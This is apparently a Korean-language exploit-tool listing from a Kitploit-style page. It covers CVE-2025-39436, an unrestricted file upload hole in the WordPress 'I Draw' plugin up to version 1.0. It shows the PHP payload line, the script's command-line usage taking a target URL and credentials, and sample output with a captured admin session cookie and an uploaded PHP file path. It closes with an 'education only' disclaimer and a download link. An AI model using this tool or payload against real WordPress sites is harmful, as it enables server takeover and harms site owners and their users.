CVE-2025-39436 — WordPress I Draw Plugin <= 1.0에서 임의 파일 업로드 취약점이 존재합니다. | Kitploit

🚨 WordPress 플러그인 익스플로잇: CVE-2025-39436

📝 설명

"I Draw" WordPress 플러그인에 위험한 유형의 파일 무제한 업로드 취약점이 존재합니다. 이 익스플로잇을 통해 공격자는 제한 없이 악성 파일을 업로드할 수 있습니다. 이 문제는 I Draw 버전 1.0까지 영향을 미칩니다.

🛠️ 익스플로잇 세부 정보

이 익스플로잇은 플러그인의 파일 업로드 기능을 활용하여 PHP 페이로드를 실행합니다. 다음은 사용된 기본 페이로드입니다:

php_code = "<?php echo 'Im Nxploited | Khaled Alenazi'; ?>"

🚀 사용 방법

usage: CVE-2025-39436.py [-h] -u URL -un USERNAME -p PASSWORD

options:
  -h, --help            도움말 메시지를 표시하고 종료
  -u, --url URL         대상 웹사이트 URL
  -un, --username USERNAME
                        사용자 이름
  -p, --password PASSWORD
                        비밀번호

💻 스크립트 출력 예시

[✅] 로그인 성공.
[🍪] 쿠키 위치:
wordpress_logged_in_4b00801d41db6e7d9e0ed0af2c824ea0=admin%7C1746301986%7CZvXtaLwW7AlgtJ9JxOH24nAo8G6WqoSQGYcz6xGSNe1%7C53cc2f686eb1e4265e17fcb0823d5e7349ffdc7b86ec8099453b5e80e7c2b51a
[✅] 파일 업로드 성공:
[🔗] http://target/wp-content/uploads/2025/4/19/nxploit.php

⚠️ 면책 조항

이 스크립트는 교육 목적으로만 제공됩니다. 저자는 이 익스플로잇으로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다. 사용에 따른 책임은 본인에게 있습니다.

제작: Nxploited (Khaled Alenazi)

도구 다운로드